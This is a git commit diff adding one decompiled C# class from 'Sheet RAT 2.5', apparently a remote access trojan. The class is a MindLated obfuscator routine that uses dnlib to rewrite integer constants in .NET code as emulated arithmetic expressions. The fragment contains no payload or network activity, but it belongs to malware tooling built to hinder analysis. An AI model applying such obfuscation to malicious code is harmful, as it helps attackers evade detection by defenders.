initial commit
This commit is contained in:
@@ -0,0 +1,33 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Log
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using dnlib.DotNet;
|
||||
using dnlib.DotNet.Emit;
|
||||
using MindLated.Protection.Arithmetic.Utils;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
|
||||
//#nullable disable
|
||||
namespace MindLated.Protection.Arithmetic.Functions.Maths {
|
||||
|
||||
public class Log : Function
|
||||
{
|
||||
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Log;
|
||||
|
||||
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
|
||||
{
|
||||
if (!ArithmeticUtils.CheckArithmetic(instruction))
|
||||
return (ArithmeticVt) null;
|
||||
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
|
||||
{
|
||||
ArithmeticTypes.Add,
|
||||
ArithmeticTypes.Sub
|
||||
};
|
||||
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
|
||||
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user